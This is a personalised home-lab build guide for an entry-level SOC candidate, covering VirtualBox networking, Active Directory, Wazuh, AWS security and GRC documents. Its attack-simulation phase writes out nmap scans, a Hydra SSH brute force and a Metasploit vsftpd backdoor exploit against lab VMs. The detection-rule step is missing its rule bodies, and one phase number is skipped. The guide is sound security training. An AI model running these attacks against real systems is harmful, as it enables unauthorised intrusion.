Home SOC Lab

Attack, Detection & Response Environment

A complete build guide for entry-level cybersecurity candidates

---

Prepared for: Lance Vidaure

8 Weeks • 6 Phases • 10+ Skills Covered • 100% Free Tools

8 Weeks	6 Phases	~75 Hours	Free
Total timeline	Build phases	Est. effort	Total cost

Skills covered by this project

Networking	Virtual network design, subnetting, pfSense firewall, routing
Operating Systems	Windows Server, Active Directory, Linux command line
IAM	AD users/groups, Group Policy, least privilege, privilege escalation sim
SIEM & Log Analysis	Wazuh/Splunk deployment, log ingestion, detection rule writing
Threat Detection/IR	Alert triage, attack simulation, formal incident reporting
MITRE ATT&CK;	TTP mapping across all simulated attacks
Cloud Security	AWS EC2, IAM, CloudTrail, S3 misconfiguration, GuardDuty
GRC	Risk assessment, security policy, NIST CSF gap analysis
Pentest Basics	nmap, Hydra, Metasploit — structured attack methodology
Cryptography	TLS configuration, certificate setup between services

Section 1 — Before You Start

1.1 Hardware requirements

You need a machine capable of running 3–5 VMs. 16GB RAM is comfortable; 8GB works if you run only 2 VMs at a time.

Component	Minimum	Recommended
RAM	8 GB	16 GB
Free disk	80 GB	120 GB+
CPU	Intel/AMD 2015+	Any modern quad-core
Host OS	Windows 10/11 or Linux	Either works

Tip: If you only have 8GB RAM, run pfSense + Windows Server first, then swap Ubuntu in when needed.

1.2 Check your RAM

Windows:

```
Press Win + R -> type: msinfo32 -> Enter
Look for: Installed Physical Memory (RAM)
```

Linux/Mac:

```
free -h
```

1.3 Enable virtualization in BIOS (if needed)

Most modern machines have this enabled. If VirtualBox reports VT-x disabled, reboot into BIOS and enable Intel VT-x, AMD-V, or SVM Mode.

Note: BIOS entry key varies — usually Del, F2, or F12 on boot. Check your manufacturer if unsure.

1.4 Downloads — get all ISOs before starting

Tool	Where to get it	Size
VirtualBox + Extension Pack	virtualbox.org	~120 MB
Windows Server 2022 ISO	Microsoft Evaluation Center (search it)	~5 GB
Ubuntu Server 22.04 LTS	ubuntu.com/download/server	~1.5 GB
pfSense ISO	pfsense.org/download (AMD64, DVD Image)	~1 GB
Kali Linux ISO	kali.org/get-kali (Installer, 64-bit)	~4 GB

Phase 1 **Virtual Network + Operating Systems** Weeks 1-2 • ~18 hrs

Goal: Build an isolated lab network with pfSense as the firewall/gateway, Windows Server as your domain machine, and Ubuntu as a Linux target. All VMs talk only on your internal network.

Week 1 — VirtualBox + pfSense

Step 1: Install VirtualBox

• Download and install VirtualBox from virtualbox.org

• Install the Extension Pack from the same download page

• Open VirtualBox -> File -> Tools -> Network Manager -> Create internal network: SOC-Lab-Network

Step 2: Build the pfSense VM

```
Name: pfSense-Firewall
Type: BSD | Version: FreeBSD (64-bit)
RAM: 512 MB | Disk: 8 GB (dynamic)
Adapter 1: NAT (WAN - internet side)
Adapter 2: Internal Network -> SOC-Lab-Network (LAN)
```

• Attach pfSense ISO -> start VM -> boot from ISO -> accept all defaults

• Interfaces: WAN = em0, LAN = em1. Set LAN IP: 192.168.10.1 / 24

• Remove ISO from virtual drive -> reboot

Tip: pfSense shows a console menu after boot. Option 2 = set interface IPs. You access the web GUI from Windows Server's browser once that VM is up.

Week 2 — Windows Server + Ubuntu

Step 3: Build the Windows Server VM

```
Name: WinServer-DC
Type: Microsoft Windows | Version: Windows 2022 (64-bit)
RAM: 4096 MB | Disk: 50 GB (dynamic)
Adapter 1: Internal Network -> SOC-Lab-Network
```

• Boot from ISO -> select Desktop Experience edition

• Custom Install -> unallocated disk -> Next. Set strong Administrator password.

Set static IP after install:

```
Network Settings -> Change adapter options -> Ethernet -> Properties -> IPv4
IP: 192.168.10.10 | Subnet: 255.255.255.0
Gateway: 192.168.10.1 | DNS: 192.168.10.1
```

Step 4: Build the Ubuntu Server VM

```
Name: Ubuntu-Target
Type: Linux | Version: Ubuntu (64-bit)
RAM: 2048 MB | Disk: 20 GB (dynamic)
Adapter 1: Internal Network -> SOC-Lab-Network
```

- During install set static IP: 192.168.10.20 / 24, gateway 192.168.10.1
- Select Install OpenSSH Server. Skip all snap packages.

Step 5: Verify full connectivity

```
From Windows Server CMD:
ping 192.168.10.1 (pfSense) ping 192.168.10.20 (Ubuntu)
ping 8.8.8.8 (internet)

From Ubuntu:
ping 192.168.10.10 (Windows) ping 8.8.8.8 (internet)
```

Note: If pings to 8.8.8.8 fail but internal pings work — pfSense Firewall -> Rules -> LAN -> add allow-all outbound rule.

GitHub deliverables

- Network topology diagram on GitHub (draw.io export as PNG)
- GitHub README with VM specs table: name, OS, IP, RAM, role
- pfSense firewall rules documented
- Connectivity test results screenshot

Phase 2 **Active Directory + IAM + SIEM** Weeks 3-4 • ~20 hrs

Week 3 — Active Directory

Step 1: Promote to Domain Controller

• Server Manager -> Add Roles -> Active Directory Domain Services
• Click flag notification -> Promote this server to a domain controller
• Add a new forest -> Root domain: soclab.local -> accept defaults -> Install (reboots)

Step 2: Build your AD structure

```
AD Users and Computers -> right-click soclab.local -> New -> Organizational Unit

Create OUs: IT, HR, Security, Admins

Create users:
jsmith (HR) standard user
mjones (IT) IT helpdesk
lvidaure (Security) security analyst
svcbackup (IT) service account
admin.soc (Admins) privileged admin
```

Step 3: Group Policy + Audit Policy

• Create GPO: SOC-Security-Policy -> link to soclab.local
• Password Policy: min length 12, complexity required, max age 90 days
• Account Lockout: lock after 5 failed attempts, 30-minute duration
• Audit Policy: Logon events (success+failure), Object access, Privilege use

Tip: Key Event IDs: 4624 = logon success, 4625 = logon failure, 4648 = explicit credentials used, 4672 = admin privileges, 4720 = new account created.

Step 4: Simulate privilege escalation

• Log in as jsmith (standard user) -> try to access \\192.168.10.10\Admin$
• Access is denied -> open Event Viewer -> Security log -> look for Event ID 4625 and 4648
• Document: who attempted, from where, at what time — this is your first incident log

Week 4 — Wazuh SIEM

Step 5: Install Wazuh on Ubuntu

```
# On Ubuntu Server (192.168.10.20):
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh
sudo bash wazuh-install.sh -a

# Takes 10-15 min. Save admin password from output.
# Dashboard: https://192.168.10.20 (from Windows browser)
```

Step 6: Install Wazuh Agent on Windows Server

```
# Download: packages.wazuh.com/4.x/windows/wazuh-agent-4.7.0-1.msi
# Run installer -> Manager IP: 192.168.10.20 -> Agent: WinServer-DC

# Start service:
NET START WazuhSvc
```

- Dashboard -> Agents -> confirm WinServer-DC shows Active
- Security Events module -> confirm Windows logs are flowing in

Step 7: Write detection rules

```
60122
5+ failed logons in 2 minutes



60144
New privileged account created
```

GitHub deliverables

- AD structure screenshot (OUs, users, groups)
- GPO settings documented with explanation of each policy choice
- Privilege escalation test report with Event IDs and timeline
- Wazuh dashboard screenshot with agents connected
- 2 custom detection rules with trigger logic documented

Phase 4 **Attack Simulation + Incident Response** Weeks 5-6 • ~22 hrs

Week 5 — Recon and initial access

Step 1: Deploy Kali Linux VM

```
Name: Kali-Attacker
Type: Linux | Version: Debian (64-bit)
RAM: 2048 MB | Disk: 25 GB
Adapter 1: Internal Network -> SOC-Lab-Network
Static IP: 192.168.10.30
```

Note: Kali must ONLY use Internal Network — never NAT. This keeps all attack traffic inside the virtual lab.

Step 2: nmap reconnaissance

```
nmap -sV -sC -O 192.168.10.10 # Windows Server
nmap -sV -sC -O 192.168.10.20 # Ubuntu
nmap -sn 192.168.10.0/24 # full subnet
```

- Document all open ports: service name and version
- Map to MITRE ATT&CK; T1046 — Network Service Discovery
- Confirm Wazuh detected the scan — note which alert fired

Step 3: Brute-force SSH with Hydra

```
hydra -l ubuntu_username \
-P /usr/share/wordlists/rockyou.txt \
ssh://192.168.10.20 -t 4 -V -f

# -t 4 = 4 threads (slow enough to see alerts) -f = stop on first hit
```

- Map to MITRE ATT&CK; T1110.001 — Brute Force: Password Guessing
- Document IOCs: source IP, target IP, port, timestamps, attempt count

Week 6 — Exploitation + incident report

Step 4: Metasploit exploitation

```
# On Ubuntu — add a deliberately vulnerable service:
sudo apt install docker.io -y
sudo docker run -d -p 21:21 vulnerables/metasploitable

# From Kali:
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.10.20
run
```

- Document: what access was gained and what data would be at risk

• Map to ATT&CK; T1190 — Exploit Public-Facing Application

Step 5: Formal incident report — required sections

Section	What to include
Executive Summary	2-3 sentences: what happened, when, what was affected
Timeline	Chronological list of every event with exact timestamps
Five Ws	Who, What, When, Where, Why — one paragraph each
IOCs	Every IP, port, hash, username, timestamp tied to the attack
ATT&CK; Mapping	Table of every TTP with Technique ID and description
Detection Analysis	What Wazuh caught, what it missed, and why
Remediation	What to patch, change, or add to prevent recurrence
Detection Gap Fix	New Wazuh rule to catch what was missed

GitHub deliverables
• nmap scan results documented (open ports, services, versions)
• Hydra brute-force results with full IOC list
• Metasploit session documentation with ATT&CK; TTPs
• Formal incident report (Markdown or PDF) on GitHub
• Updated detection rule from the gap identified

Phase 5 **Cloud Security — AWS** Week 7 • ~10 hrs

Step 1: Create your AWS free tier account

- Go to aws.amazon.com — needs a credit card but no charge within free tier limits
- Set a billing alert: Billing -> Budgets -> Create budget -> $5 threshold
- Enable MFA on root account before doing anything else

Step 2: Launch an EC2 instance

```
EC2 -> Launch Instance
Name: SOC-Lab-Cloud
AMI: Ubuntu Server 22.04 LTS (free tier eligible)
Instance type: t2.micro (free tier)
Key pair: Create new -> download .pem -> keep it safe
Security Group: Allow SSH port 22 from your IP only
```

Step 3: IAM — least privilege

- IAM -> Users -> Create: soc-analyst-readonly -> attach: SecurityAudit policy
- Create: soc-admin -> attach: SecurityAudit + CloudWatchLogsReadOnlyAccess only
- Document what each user can and cannot do, and why

Tip: Never use your root account for day-to-day tasks. Create an IAM admin user instead. This is a real-world best practice worth documenting explicitly.

Step 4: Enable CloudTrail

```
CloudTrail -> Create trail
Trail name: SOC-Lab-Audit
Apply to all regions: Yes
Log validation: Enabled
S3 bucket: Create new -> soc-lab-cloudtrail-[yourname]
CloudWatch Logs: Enable -> create new log group
```

Step 5: S3 misconfiguration lab

- S3 -> Create bucket: soc-lab-sensitive-data-[yourname]
- Upload a fake sensitive file (.txt with dummy data)
- Make it public: Permissions -> Block Public Access -> uncheck all -> confirm
- Check AWS Trusted Advisor -> Security -> S3 Bucket Permissions — should flag it
- Remediate: re-enable Block Public Access on the bucket
- Document: misconfiguration, detection method, and remediation steps

GitHub deliverables

- AWS architecture diagram on GitHub (EC2, IAM, CloudTrail, S3)
- IAM policy documentation — each permission explained
- S3 misconfiguration lab: before/after screenshots + remediation write-up
- CloudTrail enabled and log delivery confirmed

Phase 6 **GRC Documentation + GitHub Polish** Week 8 • ~10 hrs

Step 1: Security Policy document

Your policy must include:

- Purpose and scope — what the policy covers and who it applies to
- Acceptable use — what users can and cannot do on lab systems
- Access control — how accounts are created, privileged access granted, accounts terminated
- Incident response procedure — detection through containment, eradication, recovery
- Password policy — minimum requirements aligned with your GPO settings
- Audit and logging — what is logged, retention period, and who reviews logs

Step 2: Risk Assessment (3x3 matrix)

Asset	Threat	Likelihood	Impact	Risk
Windows Server (DC)	Brute force on admin account	Medium	High	HIGH
Ubuntu Server	Exploitation of unpatched service	Medium	High	HIGH
AWS S3 bucket	Public misconfiguration	Low	High	MED
pfSense firewall	Misconfigured rule exposing LAN	Low	High	MED
Wazuh SIEM	Log tampering post-compromise	Low	Medium	LOW

Step 3: NIST CSF gap analysis

CSF Function	What you have	Gap
Identify	Asset inventory, risk assessment	No formal CMDB or asset classification
Protect	GPO policy, firewall rules, least-privilege IAM	No DLP, no endpoint encryption
Detect	Wazuh SIEM, CloudTrail, detection rules	No network IDS, limited cloud alerting
Respond	Incident report, documented IR procedure	No automated playbooks or SOAR
Recover	VM snapshots in VirtualBox	No tested recovery plan or backup validation

Step 4: Polish your GitHub repo

- README.md: overview, architecture diagram, VM table, tool list, links to all docs
- Folder structure: /docs (policies, reports), /rules (Wazuh rules), /diagrams
- Add a Skills Demonstrated section listing every skill area covered
- Pin the repo to your GitHub profile

GitHub deliverables

- Security policy document in /docs folder
- Risk assessment with 3x3 matrix
- NIST CSF gap analysis table
- Polished GitHub README with architecture diagram
- Resume bullet points drafted

Section 7 — Complete Tool List

Virtualization & OS

Tool	Cost	Source	Purpose
VirtualBox + Extension Pack	Free	virtualbox.org	Host hypervisor — runs all VMs
Windows Server 2022	Free (180-day eval)	Microsoft Evaluation Center	Domain controller, primary Windows target
Ubuntu Server 22.04 LTS	Free	ubuntu.com/download/server	Linux target + Wazuh SIEM host
Kali Linux	Free	kali.org/get-kali	Attacker VM — pentest tools pre-installed
pfSense	Free	pfsense.org/download	Virtual firewall and lab gateway

SIEM & Detection

Tool	Cost	Source	Purpose
Wazuh	Free (open source)	wazuh.com	Recommended SIEM — log ingestion, alerting, dashboards
Splunk Free	Free (500MB/day)	splunk.com/download	Alternative SIEM — 500MB/day fine for a lab
Elastic SIEM	Free	elastic.co/security	Alternative — heavier setup, fully featured

Attack & Pentest (pre-installed on Kali)

Tool	Cost	Source	Purpose
nmap	Free	Pre-installed on Kali	Port scanning and service discovery — T1046
Metasploit Framework	Free	Pre-installed on Kali	Exploit framework for controlled simulations
Hydra	Free	Pre-installed on Kali	Brute-force tool for SSH/RDP testing — T1110
Mimikatz	Free	Pre-installed on Kali	Credential dumping simulation — T1003

Cloud

Tool	Cost	Source	Purpose

AWS Free Tier	Free (12 months)	aws.amazon.com	EC2, S3, IAM, CloudTrail — free tier eligible
AWS CloudTrail	Free	AWS Console	API audit logging for all account activity
AWS GuardDuty	30-day trial	AWS Console	Cloud threat detection — flags misconfigs
AWS Trusted Advisor	Free (basic)	AWS Console	Flags S3 public buckets and security gaps

Documentation & Diagramming

Tool	Cost	Source	Purpose
draw.io	Free, no account	app.diagrams.net	Network topology and architecture diagrams
GitHub	Free	github.com	Version control and public portfolio repo
Obsidian	Free	obsidian.md	Local markdown editor for lab notes

Frameworks & References

Tool	Cost	Source	Purpose
MITRE ATT&CK; Navigator	Free	attack.mitre.org	Map TTPs visually — export as SVG for reports
NIST CSF	Free	nist.gov/cyberframework	Control framework for GRC documentation
CVE / NVD	Free	nvd.nist.gov	Vulnerability reference for simulated exploits

Section 8 — Resume Entry + What to Add

8.1 Your resume entry once the lab is complete

Add this to your Projects section. Update it phase by phase — don't wait until everything is done.

```
Cybersecurity Home Lab -- Attack, Detection & Response | 2026 - Present
github.com/lanceanthony/home-soc-lab

* Built a virtualized multi-subnet network with pfSense, Windows Server 2022
(Active Directory, Group Policy, audit logging), and Ubuntu Server as a Linux target

* Deployed Wazuh SIEM with custom detection rules; simulated attacks using nmap,
Hydra, and Metasploit; wrote formal incident reports with MITRE ATT&CK; TTP mapping

* Configured AWS with IAM least-privilege policies, CloudTrail audit logging,
and an S3 misconfiguration detection and remediation exercise

* Produced NIST CSF gap analysis, risk assessment (3x3 matrix), and security
policy covering all five CSF functions across the lab environment
```

8.2 Priority checklist

1. **Finish and publish the SOC Lab on GitHub**
   Biggest ROI — covers 10+ skills in one project
2. **Complete the Splunk Core certification**
   Splunk is listed by name in a large % of SOC postings
3. **Add TryHackMe rank/badge once earned**
   Top 10% or a path cert makes the line credible
4. **Complete one CTF and publish a write-up**
   Shows community engagement — PicoCTF is beginner-friendly
5. **Keep GitHub active with regular commits**
   Recruiters click your profile — an active graph matters

8.3 Skills gap — before and after this project

Skill Area	Before Lab	After Lab
Networking	Gap	Covered — pfSense, subnetting, firewall rules
Windows / AD	Partial	Solid — DC, GPO, audit logging
Linux	Basic	Stronger — Ubuntu admin, SSH, services
SIEM / Splunk	In progress	Hands-on — Wazuh deployed, rules written
Threat Detection / IR	Developing	Strong — real attacks, formal incident reports
MITRE ATT&CK;	Strong	Stronger — applied across all attack phases

Cloud Security	Coursework only	Covered — AWS IAM, CloudTrail, S3, GuardDuty
IAM	Gap	Covered — AD and AWS least-privilege both practiced
Pentest basics	None	Covered — nmap, Hydra, Metasploit methodology
GRC	None	Covered — NIST CSF, risk assessment, security policy

---

End of guide — good luck with the build, Lance.